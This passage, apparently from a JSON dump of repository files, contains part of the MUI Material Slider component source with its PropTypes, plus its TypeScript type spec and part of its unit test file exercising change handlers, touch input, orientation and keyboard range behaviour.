'50%',\n          },\n          [`&.${sliderClasses.valueLabelOpen}`]: {\n            transform: 'translateY(-100%) scale(1)',\n          },\n        },\n      },\n      {\n        props: { orientation: 'vertical' },\n        style: {\n          transform: 'translateY(-50%) scale(0)',\n          right: '30px',\n          top: '50%',\n          transformOrigin: 'right center',\n          '&::before': {\n            position: 'absolute',\n            content: '\"\"',\n            width: 8,\n            height: 8,\n            transform: 'translate(-50%, -50%) rotate(45deg)',\n            backgroundColor: 'inherit',\n            right: -8,\n            top: '50%',\n          },\n          [`&.${sliderClasses.valueLabelOpen}`]: {\n            transform: 'translateY(-50%) scale(1)',\n          },\n        },\n      },\n      {\n        props: { size: 'small' },\n        style: {\n          fontSize: theme.typography.pxToRem(12),\n          padding: '0.25rem 0.5rem',\n        },\n      },\n      {\n        props: { orientation: 'vertical', size: 'small' },\n        style: {\n          right: '20px',\n        },\n      },\n    ],\n  })),\n);\n\nSliderValueLabel.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * @ignore\n   */\n  children: PropTypes.element.isRequired,\n  /**\n   * @ignore\n   */\n  index: PropTypes.number.isRequired,\n  /**\n   * @ignore\n   */\n  open: PropTypes.bool.isRequired,\n  /**\n   * @ignore\n   */\n  value: PropTypes.node,\n};\n\nexport { SliderValueLabel };\n\nexport const SliderMark = styled('span', {\n  name: 'MuiSlider',\n  slot: 'Mark',\n  shouldForwardProp: (prop) => slotShouldForwardProp(prop) && prop !== 'markActive',\n  overridesResolver: (props, styles) => {\n    const { markActive } = props;\n\n    return [styles.mark, markActive && styles.markActive];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    position: 'absolute',\n    width: 2,\n    height: 2,\n    borderRadius: 1,\n    backgroundColor: 'currentColor',\n    variants: [\n      {\n        props: { orientation: 'horizontal' },\n        style: {\n          top: '50%',\n          transform: 'translate(-1px, -50%)',\n        },\n      },\n      {\n        props: { orientation: 'vertical' },\n        style: {\n          left: '50%',\n          transform: 'translate(-50%, 1px)',\n        },\n      },\n      {\n        props: { markActive: true },\n        style: {\n          backgroundColor: (theme.vars || theme).palette.background.paper,\n          opacity: 0.8,\n        },\n      },\n    ],\n  })),\n);\n\nexport const SliderMarkLabel = styled('span', {\n  name: 'MuiSlider',\n  slot: 'MarkLabel',\n  shouldForwardProp: (prop) => slotShouldForwardProp(prop) && prop !== 'markLabelActive',\n})(\n  memoTheme(({ theme }) => ({\n    ...theme.typography.body2,\n    color: (theme.vars || theme).palette.text.secondary,\n    position: 'absolute',\n    whiteSpace: 'nowrap',\n    variants: [\n      {\n        props: { orientation: 'horizontal' },\n        style: {\n          top: 30,\n          transform: 'translateX(-50%)',\n          '@media (pointer: coarse)': {\n            top: 40,\n          },\n        },\n      },\n      {\n        props: { orientation: 'vertical' },\n        style: {\n          left: 36,\n          transform: 'translateY(50%)',\n          '@media (pointer: coarse)': {\n            left: 44,\n          },\n        },\n      },\n      {\n        props: { markLabelActive: true },\n        style: {\n          color: (theme.vars || theme).palette.text.primary,\n        },\n      },\n    ],\n  })),\n);\n\nconst useUtilityClasses = (ownerState) => {\n  const { disabled, dragging, marked, orientation, track, classes, color, size } = ownerState;\n\n  const slots = {\n    root: [\n      'root',\n      disabled && 'disabled',\n      dragging && 'dragging',\n      marked && 'marked',\n      orientation === 'vertical' && 'vertical',\n      track === 'inverted' && 'trackInverted',\n      track === false && 'trackFalse',\n      color && `color${capitalize(color)}`,\n      size && `size${capitalize(size)}`,\n    ],\n    rail: ['rail'],\n    track: ['track'],\n    mark: ['mark'],\n    markActive: ['markActive'],\n    markLabel: ['markLabel'],\n    markLabelActive: ['markLabelActive'],\n    valueLabel: ['valueLabel'],\n    thumb: ['thumb', disabled && 'disabled'],\n    active: ['active'],\n    disabled: ['disabled'],\n    focusVisible: ['focusVisible'],\n  };\n\n  return composeClasses(slots, getSliderUtilityClass, classes);\n};\n\nconst Forward = ({ children }) => children;\n\nconst Slider = React.forwardRef(function Slider(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiSlider' });\n\n  const isRtl = useRtl();\n\n  const {\n    'aria-label': ariaLabel,\n    'aria-valuetext': ariaValuetext,\n    'aria-labelledby': ariaLabelledby,\n    color = 'primary',\n    classes: classesProp,\n    className,\n    disableSwap = false,\n    disabled = false,\n    getAriaLabel,\n    getAriaValueText,\n    marks: marksProp = false,\n    max = 100,\n    min = 0,\n    name,\n    onChange,\n    onChangeCommitted,\n    orientation = 'horizontal',\n    shiftStep = 10,\n    size = 'medium',\n    step = 1,\n    scale = Identity,\n    slotProps = {},\n    slots = {},\n    tabIndex,\n    track = 'normal',\n    value: valueProp,\n    valueLabelDisplay = 'off',\n    valueLabelFormat = Identity,\n    ...other\n  } = props;\n\n  const ownerState = {\n    ...props,\n    isRtl,\n    max,\n    min,\n    classes: classesProp,\n    disabled,\n    disableSwap,\n    orientation,\n    marks: marksProp,\n    color,\n    size,\n    step,\n    shiftStep,\n    scale,\n    track,\n    valueLabelDisplay,\n    valueLabelFormat,\n  };\n\n  const {\n    axisProps,\n    getRootProps,\n    getHiddenInputProps,\n    getThumbProps,\n    open,\n    active,\n    axis,\n    focusedThumbIndex,\n    range,\n    dragging,\n    marks,\n    values,\n    trackOffset,\n    trackLeap,\n    getThumbStyle,\n  } = useSlider({ ...ownerState, rootRef: ref });\n\n  ownerState.marked = marks.length > 0 && marks.some((mark) => mark.label);\n  ownerState.dragging = dragging;\n  ownerState.focusedThumbIndex = focusedThumbIndex;\n\n  const classes = useUtilityClasses(ownerState);\n\n  const externalForwardedProps = {\n    slots,\n    slotProps,\n  };\n\n  const [RootSlot, rootProps] = useSlot('root', {\n    elementType: SliderRoot,\n    getSlotProps: getRootProps,\n    externalForwardedProps: {\n      ...externalForwardedProps,\n      ...other,\n    },\n    ownerState,\n    className: [classes.root, className],\n  });\n\n  const [RailSlot, railProps] = useSlot('rail', {\n    elementType: SliderRail,\n    externalForwardedProps,\n    ownerState,\n    className: classes.rail,\n  });\n\n  const [TrackSlot, trackProps] = useSlot('track', {\n    elementType: SliderTrack,\n    externalForwardedProps,\n    additionalProps: {\n      style: {\n        ...axisProps[axis].offset(trackOffset),\n        ...axisProps[axis].leap(trackLeap),\n      },\n    },\n    ownerState,\n    className: classes.track,\n  });\n\n  const [ThumbSlot, thumbProps] = useSlot('thumb', {\n    elementType: SliderThumb,\n    getSlotProps: getThumbProps,\n    externalForwardedProps,\n    ownerState,\n    className: classes.thumb,\n  });\n\n  const [ValueLabelSlot, valueLabelProps] = useSlot('valueLabel', {\n    elementType: SliderValueLabel,\n    externalForwardedProps,\n    ownerState,\n    className: classes.valueLabel,\n  });\n\n  const [MarkSlot, markProps] = useSlot('mark', {\n    elementType: SliderMark,\n    externalForwardedProps,\n    ownerState,\n    className: classes.mark,\n  });\n\n  const [MarkLabelSlot, markLabelProps] = useSlot('markLabel', {\n    elementType: SliderMarkLabel,\n    externalForwardedProps,\n    ownerState,\n    className: classes.markLabel,\n  });\n\n  const [InputSliderSlot, inputSliderProps] = useSlot('input', {\n    elementType: 'input',\n    getSlotProps: getHiddenInputProps,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  return (\n    <RootSlot {...rootProps}>\n      <RailSlot {...railProps} />\n      <TrackSlot {...trackProps} />\n      {marks\n        .filter((mark) => mark.value >= min && mark.value <= max)\n        .map((mark, index) => {\n          const percent = valueToPercent(mark.value, min, max);\n          const style = axisProps[axis].offset(percent);\n\n          let markActive;\n          if (track === false) {\n            markActive = values.includes(mark.value);\n          } else {\n            markActive =\n              (track === 'normal' &&\n                (range\n                  ? mark.value >= values[0] && mark.value <= values[values.length - 1]\n                  : mark.value <= values[0])) ||\n              (track === 'inverted' &&\n                (range\n                  ? mark.value <= values[0] || mark.value >= values[values.length - 1]\n                  : mark.value >= values[0]));\n          }\n\n          return (\n            <React.Fragment key={index}>\n              <MarkSlot\n                data-index={index}\n                {...markProps}\n                {...(!isHostComponent(MarkSlot) && {\n                  markActive,\n                })}\n                style={{ ...style, ...markProps.style }}\n                className={clsx(markProps.className, {\n                  [classes.markActive]: markActive,\n                })}\n              />\n              {mark.label != null ? (\n                <MarkLabelSlot\n                  aria-hidden\n                  data-index={index}\n                  {...markLabelProps}\n                  {...(!isHostComponent(MarkLabelSlot) && {\n                    markLabelActive: markActive,\n                  })}\n                  style={{ ...style, ...markLabelProps.style }}\n                  className={clsx(classes.markLabel, markLabelProps.className, {\n                    [classes.markLabelActive]: markActive,\n                  })}\n                >\n                  {mark.label}\n                </MarkLabelSlot>\n              ) : null}\n            </React.Fragment>\n          );\n        })}\n      {values.map((value, index) => {\n        const percent = valueToPercent(value, min, max);\n        const style = axisProps[axis].offset(percent);\n\n        const ValueLabelComponent = valueLabelDisplay === 'off' ? Forward : ValueLabelSlot;\n\n        return (\n          /* TODO v6: Change component structure. It will help in avoiding the complicated React.cloneElement API added in SliderValueLabel component. Should be: Thumb -> Input, ValueLabel. Follow Joy UI's Slider structure. */\n          <ValueLabelComponent\n            key={index}\n            {...(!isHostComponent(ValueLabelComponent) && {\n              valueLabelFormat,\n              valueLabelDisplay,\n              value:\n                typeof valueLabelFormat === 'function'\n                  ? valueLabelFormat(scale(value), index)\n                  : valueLabelFormat,\n              index,\n              open: open === index || active === index || valueLabelDisplay === 'on',\n              disabled,\n            })}\n            {...valueLabelProps}\n          >\n            <ThumbSlot\n              data-index={index}\n              {...thumbProps}\n              className={clsx(classes.thumb, thumbProps.className, {\n                [classes.active]: active === index,\n                [classes.focusVisible]: focusedThumbIndex === index,\n              })}\n              style={{\n                ...style,\n                ...getThumbStyle(index),\n                ...thumbProps.style,\n              }}\n            >\n              <InputSliderSlot\n                data-index={index}\n                aria-label={getAriaLabel ? getAriaLabel(index) : ariaLabel}\n                aria-valuenow={scale(value)}\n                aria-labelledby={ariaLabelledby}\n                aria-valuetext={\n                  getAriaValueText ? getAriaValueText(scale(value), index) : ariaValuetext\n                }\n                value={values[index]}\n                {...inputSliderProps}\n              />\n            </ThumbSlot>\n          </ValueLabelComponent>\n        );\n      })}\n    </RootSlot>\n  );\n});\n\nSlider.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The label of the slider.\n   */\n  'aria-label': chainPropTypes(PropTypes.string, (props) => {\n    const range = Array.isArray(props.value || props.defaultValue);\n\n    if (range && props['aria-label'] != null) {\n      return new Error(\n        'MUI: You need to use the `getAriaLabel` prop instead of `aria-label` when using a range slider.',\n      );\n    }\n\n    return null;\n  }),\n  /**\n   * The id of the element containing a label for the slider.\n   */\n  'aria-labelledby': PropTypes.string,\n  /**\n   * A string value that provides a user-friendly name for the current value of the slider.\n   */\n  'aria-valuetext': chainPropTypes(PropTypes.string, (props) => {\n    const range = Array.isArray(props.value || props.defaultValue);\n\n    if (range && props['aria-valuetext'] != null) {\n      return new Error(\n        'MUI: You need to use the `getAriaValueText` prop instead of `aria-valuetext` when using a range slider.',\n      );\n    }\n\n    return null;\n  }),\n  /**\n   * @ignore\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'primary'\n   */\n  color: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['primary', 'secondary', 'error', 'info', 'success', 'warning']),\n    PropTypes.string,\n  ]),\n  /**\n   * The default value. Use when the component is not controlled.\n   */\n  defaultValue: PropTypes.oneOfType([PropTypes.arrayOf(PropTypes.number), PropTypes.number]),\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled: PropTypes.bool,\n  /**\n   * If `true`, the active thumb doesn't swap when moving pointer over a thumb while dragging another thumb.\n   * @default false\n   */\n  disableSwap: PropTypes.bool,\n  /**\n   * Accepts a function which returns a string value that provides a user-friendly name for the thumb labels of the slider.\n   * This is important for screen reader users.\n   * @param {number} index The thumb label's index to format.\n   * @returns {string}\n   */\n  getAriaLabel: PropTypes.func,\n  /**\n   * Accepts a function which returns a string value that provides a user-friendly name for the current value of the slider.\n   * This is important for screen reader users.\n   * @param {number} value The thumb label's value to format.\n   * @param {number} index The thumb label's index to format.\n   * @returns {string}\n   */\n  getAriaValueText: PropTypes.func,\n  /**\n   * Marks indicate predetermined values to which the user can move the slider.\n   * If `true` the marks are spaced according the value of the `step` prop.\n   * If an array, it should contain objects with `value` and an optional `label` keys.\n   * @default false\n   */\n  marks: PropTypes.oneOfType([\n    PropTypes.arrayOf(\n      PropTypes.shape({\n        label: PropTypes.node,\n        value: PropTypes.number.isRequired,\n      }),\n    ),\n    PropTypes.bool,\n  ]),\n  /**\n   * The maximum allowed value of the slider.\n   * Should not be equal to min.\n   * @default 100\n   */\n  max: PropTypes.number,\n  /**\n   * The minimum allowed value of the slider.\n   * Should not be equal to max.\n   * @default 0\n   */\n  min: PropTypes.number,\n  /**\n   * Name attribute of the hidden `input` element.\n   */\n  name: PropTypes.string,\n  /**\n   * Callback function that is fired when the slider's value changed.\n   *\n   * @param {Event} event The event source of the callback.\n   * You can pull out the new value by accessing `event.target.value` (any).\n   * **Warning**: This is a generic event not a change event.\n   * @param {Value} value The new value.\n   * @param {number} activeThumb Index of the currently moved thumb.\n   */\n  onChange: PropTypes.func,\n  /**\n   * Callback function that is fired when the `mouseup` is triggered.\n   *\n   * @param {React.SyntheticEvent | Event} event The event source of the callback. **Warning**: This is a generic event not a change event.\n   * @param {Value} value The new value.\n   */\n  onChangeCommitted: PropTypes.func,\n  /**\n   * The component orientation.\n   * @default 'horizontal'\n   */\n  orientation: PropTypes.oneOf(['horizontal', 'vertical']),\n  /**\n   * A transformation function, to change the scale of the slider.\n   * @param {any} x\n   * @returns {any}\n   * @default function Identity(x) {\n   *   return x;\n   * }\n   */\n  scale: PropTypes.func,\n  /**\n   * The granularity with which the slider can step through values when using Page Up/Page Down or Shift + Arrow Up/Arrow Down.\n   * @default 10\n   */\n  shiftStep: PropTypes.number,\n  /**\n   * The size of the slider.\n   * @default 'medium'\n   */\n  size: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['small', 'medium']),\n    PropTypes.string,\n  ]),\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    input: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    mark: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    markLabel: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    rail: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    thumb: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    track: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    valueLabel: PropTypes.oneOfType([\n      PropTypes.func,\n      PropTypes.shape({\n        children: PropTypes.element,\n        className: PropTypes.string,\n        open: PropTypes.bool,\n        style: PropTypes.object,\n        value: PropTypes.node,\n        valueLabelDisplay: PropTypes.oneOf(['auto', 'off', 'on']),\n      }),\n    ]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    input: PropTypes.elementType,\n    mark: PropTypes.elementType,\n    markLabel: PropTypes.elementType,\n    rail: PropTypes.elementType,\n    root: PropTypes.elementType,\n    thumb: PropTypes.elementType,\n    track: PropTypes.elementType,\n    valueLabel: PropTypes.elementType,\n  }),\n  /**\n   * The granularity with which the slider can step through values. (A \"discrete\" slider.)\n   * The `min` prop serves as the origin for the valid values.\n   * We recommend (max - min) to be evenly divisible by the step.\n   *\n   * When step is `null`, the thumb can only be slid onto marks provided with the `marks` prop.\n   * @default 1\n   */\n  step: PropTypes.number,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * Tab index attribute of the hidden `input` element.\n   */\n  tabIndex: PropTypes.number,\n  /**\n   * The track presentation:\n   *\n   * - `normal` the track will render a bar representing the slider value.\n   * - `inverted` the track will render a bar representing the remaining slider value.\n   * - `false` the track will render without a bar.\n   * @default 'normal'\n   */\n  track: PropTypes.oneOf(['inverted', 'normal', false]),\n  /**\n   * The value of the slider.\n   * For ranged sliders, provide an array with two values.\n   */\n  value: PropTypes.oneOfType([PropTypes.arrayOf(PropTypes.number), PropTypes.number]),\n  /**\n   * Controls when the value label is displayed:\n   *\n   * - `auto` the value label will display when the thumb is hovered or focused.\n   * - `on` will display persistently.\n   * - `off` will never display.\n   * @default 'off'\n   */\n  valueLabelDisplay: PropTypes.oneOf(['auto', 'off', 'on']),\n  /**\n   * The format function the value label's value.\n   *\n   * When a function is provided, it should have the following signature:\n   *\n   * - {number} value The value label's value to format\n   * - {number} index The value label's index to format\n   * @param {any} x\n   * @returns {any}\n   * @default function Identity(x) {\n   *   return x;\n   * }\n   */\n  valueLabelFormat: PropTypes.oneOfType([PropTypes.func, PropTypes.string]),\n};\n\nexport default Slider;\n"
  },
  {
    "path": "packages/mui-material/src/Slider/Slider.spec.tsx",
    "content": "import * as React from 'react';\nimport Slider from '@mui/material/Slider';\nimport type { SliderProps } from '@mui/material/Slider';\n\nfunction testOnChange() {\n  function handleSliderChange(event: Event, value: unknown) {}\n  function handleSliderChangeCommitted(event: React.SyntheticEvent | Event, value: unknown) {}\n  <Slider onChange={handleSliderChange} onChangeCommitted={handleSliderChangeCommitted} />;\n\n  function handleElementChange(event: React.ChangeEvent) {}\n  // @ts-expect-error internally it's whatever even lead to a change in value\n  <Slider onChange={handleElementChange} onChangeCommitted={handleElementChange} />;\n}\n\n<Slider track=\"inverted\" />;\n\n// color types\n<Slider color=\"primary\" />;\n<Slider color=\"secondary\" />;\n<Slider color=\"error\" />;\n<Slider color=\"success\" />;\n<Slider color=\"info\" />;\n<Slider color=\"warning\" />;\n\n// slotProps as objects\n<Slider\n  slotProps={{\n    root: { onMouseDown: () => 'onMouseDown event triggered' },\n    input: { disabled: true },\n    mark: { onClick: () => 'clicked' },\n    markLabel: { className: 'markLabel' },\n    rail: { className: 'rail' },\n    thumb: { className: 'thumb' },\n    valueLabel: { valueLabelDisplay: 'auto' },\n  }}\n/>;\n\n// slotProps as functions\n<Slider\n  slotProps={{\n    root: ({ color }) => ({ className: color === 'primary' ? 'root_primary' : 'root_secondary' }),\n    input: ({ size }) => ({ disabled: size === 'medium' }),\n    mark: ({ marked }) => ({\n      className: marked ? 'marked' : '',\n    }),\n    markLabel: ({ max }) => ({ className: max === 99 ? 'red' : 'normal' }),\n    rail: ({ dragging }) => ({\n      className: dragging ? 'rail' : '',\n    }),\n    thumb: ({ orientation }) => ({ className: orientation === 'vertical' ? 'thumb_vertical' : '' }),\n  }}\n/>;\n\n// value, onChange, and onChangeCommitted value type\n<Slider\n  value={5}\n  onChange={(event, value: number) => {}}\n  onChangeCommitted={(event, value: number) => {}}\n/>;\n<Slider\n  value={[5, 10]}\n  onChange={(event, value: number[]) => {}}\n  onChangeCommitted={(event, value: number[]) => {}}\n/>;\nconst values = [5, 10] as const;\n<Slider\n  value={values}\n  onChange={(event, value: readonly number[]) => {}}\n  onChangeCommitted={(event, value: readonly number[]) => {}}\n/>;\n\nconst sliderProps: SliderProps<'span', {}, readonly number[]> = {\n  value: values,\n  onChange: (event, value: readonly number[]) => {},\n  onChangeCommitted: (event, value: readonly number[]) => {},\n};\n<Slider {...sliderProps} />;\n\nconst CustomComponent: React.FC<{ stringProp: string; numberProp: number }> =\n  function CustomComponent() {\n    return <div />;\n  };\n\n<Slider component=\"div\" />;\n<Slider component={CustomComponent} stringProp=\"a\" numberProp={1} />;\n/* @ts-expect-error missing stringProp and numberProp */\n<Slider component={CustomComponent} />;\n/* @ts-expect-error does not allow any prop */\n<Slider abc=\"123\" />;\n\nconst MARKS = [\n  { value: 0, label: '0°C' },\n  { value: 20, label: '20°C' },\n  { value: 37, label: '37°C' },\n  { value: 100, label: '100°C' },\n] as const;\n<Slider marks={MARKS} />;\n"
  },
  {
    "path": "packages/mui-material/src/Slider/Slider.test.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { spy, stub } from 'sinon';\nimport { expect } from 'chai';\nimport {\n  act,\n  createRenderer,\n  fireEvent,\n  screen,\n  supportsTouch,\n  isJsdom,\n  waitFor,\n} from '@mui/internal-test-utils';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport Slider, { sliderClasses as classes } from '@mui/material/Slider';\nimport describeConformance from '../../test/describeConformance';\n\nfunction createTouches(touches) {\n  return {\n    changedTouches: touches.map(\n      (touch) =>\n        new Touch({\n          target: document.body,\n          ...touch,\n        }),\n    ),\n  };\n}\n\ndescribe.skipIf(!supportsTouch())('<Slider />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(\n    <Slider value={0} marks={[{ value: 0, label: '0' }]} valueLabelDisplay=\"on\" />,\n    () => ({\n      classes,\n      inheritComponent: 'span',\n      render,\n      refInstanceof: window.HTMLSpanElement,\n      muiName: 'MuiSlider',\n      testDeepOverrides: { slotName: 'thumb', slotClassName: classes.thumb },\n      testVariantProps: { color: 'primary', orientation: 'vertical', size: 'small' },\n      testStateOverrides: { prop: 'color', value: 'secondary', styleKey: 'colorSecondary' },\n      slots: {\n        root: {\n          expectedClassName: classes.root,\n        },\n        thumb: {\n          expectedClassName: classes.thumb,\n        },\n        track: {\n          expectedClassName: classes.track,\n        },\n        rail: {\n          expectedClassName: classes.rail,\n        },\n        input: {\n          expectedClassName: classes.input,\n        },\n        mark: {\n          expectedClassName: classes.mark,\n        },\n        markLabel: {\n          expectedClassName: classes.markLabel,\n        },\n      },\n      skip: [\n        'slotPropsCallback', // not supported yet\n        'slotPropsCallbackWithPropsAsOwnerState', // not supported yet\n      ],\n    }),\n  );\n\n  it('should call handlers', () => {\n    const handleChange = spy();\n    const handleChangeCommitted = spy();\n\n    const { container } = render(\n      <Slider onChange={handleChange} onChangeCommitted={handleChangeCommitted} value={0} />,\n    );\n    stub(container.firstChild, 'getBoundingClientRect').callsFake(() => ({\n      width: 100,\n      left: 0,\n    }));\n    const slider = screen.getByRole('slider');\n\n    fireEvent.mouseDown(container.firstChild, {\n      buttons: 1,\n      clientX: 10,\n    });\n    fireEvent.mouseUp(container.firstChild, {\n      buttons: 1,\n      clientX: 10,\n    });\n\n    expect(handleChange.callCount).to.equal(1);\n    expect(handleChange.args[0][1]).to.equal(10);\n    expect(handleChangeCommitted.callCount).to.equal(1);\n    expect(handleChangeCommitted.args[0][1]).to.equal(10);\n\n    act(() => {\n      slider.focus();\n    });\n    fireEvent.change(slider, { target: { value: 23 } });\n    expect(handleChange.callCount).to.equal(2);\n    expect(handleChangeCommitted.callCount).to.equal(2);\n  });\n\n  it('should only listen to changes from the same touchpoint', () => {\n    const handleChange = spy();\n    const handleChangeCommitted = spy();\n    const { container } = render(\n      <Slider onChange={handleChange} onChangeCommitted={handleChangeCommitted} value={0} />,\n    );\n    stub(container.firstChild, 'getBoundingClientRect').callsFake(() => ({\n      width: 100,\n      height: 10,\n      bottom: 10,\n      left: 0,\n    }));\n\n    fireEvent.touchStart(container.firstChild, createTouches([{ identifier: 1, clientX: 0 }]));\n    expect(handleChange.callCount).to.equal(0);\n    expect(handleChangeCommitted.callCount).to.equal(0);\n\n    fireEvent.touchStart(document.body, createTouches([{ identifier: 2, clientX: 40 }]));\n    expect(handleChange.callCount).to.equal(0);\n    expect(handleChangeCommitted.callCount).to.equal(0);\n\n    fireEvent.touchMove(document.body, createTouches([{ identifier: 1, clientX: 1 }]));\n    expect(handleChange.callCount).to.equal(1);\n    expect(handleChangeCommitted.callCount).to.equal(0);\n\n    fireEvent.touchMove(document.body, createTouches([{ identifier: 2, clientX: 41 }]));\n    expect(handleChange.callCount).to.equal(1);\n    expect(handleChangeCommitted.callCount).to.equal(0);\n\n    fireEvent.touchEnd(document.body, createTouches([{ identifier: 1, clientX: 2 }]));\n    expect(handleChange.callCount).to.equal(1);\n    expect(handleChangeCommitted.callCount).to.equal(1);\n  });\n\n  it('should hedge against a dropped mouseup event', () => {\n    const handleChange = spy();\n    const { container } = render(<Slider onChange={handleChange} value={0} />);\n    stub(container.firstChild, 'getBoundingClientRect').callsFake(() => ({\n      width: 100,\n      left: 0,\n    }));\n\n    fireEvent.mouseDown(container.firstChild, {\n      buttons: 1,\n      clientX: 1,\n    });\n    expect(handleChange.callCount).to.equal(1);\n    expect(handleChange.args[0][1]).to.equal(1);\n\n    fireEvent.mouseMove(document.body, {\n      buttons: 1,\n      clientX: 10,\n    });\n    expect(handleChange.callCount).to.equal(2);\n    expect(handleChange.args[1][1]).to.equal(10);\n\n    fireEvent.mouseMove(document.body, {\n      buttons: 0,\n      clientX: 11,\n    });\n    // The mouse's button was released, stop the dragging session.\n    expect(handleChange.callCount).to.equal(2);\n  });\n\n  it('should only fire onChange when the value changes', () => {\n    const handleChange = spy();\n    const { container } = render(<Slider defaultValue={20} onChange={handleChange} />);\n    stub(container.firstChild, 'getBoundingClientRect').callsFake(() => ({\n      width: 100,\n      left: 0,\n    }));\n\n    fireEvent.mouseDown(container.firstChild, {\n      buttons: 1,\n      clientX: 21,\n    });\n\n    fireEvent.mouseMove(document.body, {\n      buttons: 1,\n      clientX: 22,\n    });\n    // Sometimes another event with the same position is fired by the browser.\n    fireEvent.mouseMove(document.body, {\n      buttons: 1,\n      clientX: 22,\n    });\n\n    expect(handleChange.callCount).to.equal(2);\n    expect(handleChange.args[0][1]).to.deep.equal(21);\n    expect(handleChange.args[1][1]).to.deep.equal(22);\n  });\n\n  describe('prop: classes', () => {\n    it('adds custom classes to the component', () => {\n      const selectedClasses = ['root', 'rail', 'track', 'mark'];\n      const customClasses = selectedClasses.reduce((acc, curr) => {\n        acc[curr] = `custom-${curr}`;\n        return acc;\n      }, {});\n\n      const { container } = render(\n        <Slider\n          marks={[{ value: 0 }, { value: 20 }, { value: 30 }]}\n          defaultValue={0}\n          classes={customClasses}\n        />,\n      );\n\n      expect(container.firstChild).to.have.class(classes.root);\n      expect(container.firstChild).to.have.class('custom-root');\n      selectedClasses.slice(1).forEach((className, index) => {\n        expect(container.firstChild.children[index]).to.have.class(`custom-${className}`);\n      });\n    });\n  });\n\n  describe('prop: orientation', () => {\n    it('should render with the vertical classes', () => {\n      const { container } = render(<Slider orientation=\"vertical\" value={0} />);\n      expect(container.firstChild).to.have.class(classes.vertical);\n      expect(screen.getByRole('slider')).to.have.attribute('aria-orientation', 'vertical');\n    });\n\n    it('should report the right position', () => {\n      const handleChange = spy();\n      const { container } = render(\n        <Slider orientation=\"vertical\" defaultValue={20} onChange={handleChange} />,\n      );\n      stub(container.firstChild, 'getBoundingClientRect').callsFake(() => ({\n        width: 10,\n        height: 100,\n        bottom: 100,\n        left: 0,\n      }));\n\n      fireEvent.touchStart(\n        container.firstChild,\n        createTouches([{ identifier: 1, clientX: 0, clientY: 20 }]),\n      );\n      fireEvent.touchMove(\n        document.body,\n        createTouches([{ identifier: 1, clientX: 0, clientY: 22 }]),\n      );\n\n      expect(handleChange.callCount).to.equal(2);\n      expect(handleChange.args[0][1]).to.equal(80);\n      expect(handleChange.args[1][1]).to.equal(78);\n    });\n  });\n\n  describe('range', () => {\n    it('should support keyboard', () => {\n      render(<Slider defaultValue={[20, 30]} />);\n      const [slider1, slider2] = screen.getAllByRole('slider');\n\n      act(() => {\n        slider1.focus();\n      });\n      fireEvent.change(slider1, { target: { value: '21' } });\n\n      expect(slider1.getAttribute('aria-valuenow')).to.equal('21');\n      expect(slider2.getAttribute('aria-valuenow')).to.equal('30');\n\n      act(() => {\n        slider2.focus();\n      });\n      fireEvent.change(slider2, { target: { value: '31' } });\n\n      expect(slider1.getAttribute('aria-valuenow')).to.equal('21');\n      expect(slider2.getAttribute('aria-valuenow')).to.equal('31');\n\n      act(() => {\n        slider1.focus();\n      });\n      fireEvent.change(slider1, { target: { value: '31' } });\n\n      expect(slider1.getAttribute('aria-valuenow')).to.equal('31');\n      expect(slider2.getAttribute('aria-valuenow')).to.equal('31');\n      expect(document.activeElement).to.have.attribute('data-index', '0');\n\n      act(() => {\n        slider1.focus();\n      });\n      fireEvent.change(slider1, { target: { value: '32' } });\n\n      expect(slider1.getAttribute('aria-valuenow')).to.equal('31');\n      expect(slider2.getAttribute('aria-valuenow')).to.equal('32');\n      expect(document.activeElement).to.have.attribute('data-index', '1');\n    });\n\n    it('custom marks with restricted float values should support keyboard', () => {\n      const getMarks = (value) => value.map((val) => ({ value: val, label: val }));\n\n      render(<Slider step={null} marks={getMarks([0.5, 30.45, 90.53])} />);\n      const slider = screen.getByRole('slider');\n\n      act(() => {\n        slider.focus();\n      });\n\n      fireEvent.change(slider, { target: { value: '0.4' } });\n      expect(slider.getAttribute('aria-valuenow')).to.equal('0.5');\n\n      fireEvent.change(slider, { target: { value: '30' } });\n      expect(slider.getAttribute('aria-valuenow')).to.equal('30.45');\n\n      fireEvent.change(slider, { target: { value: '90' } });\n      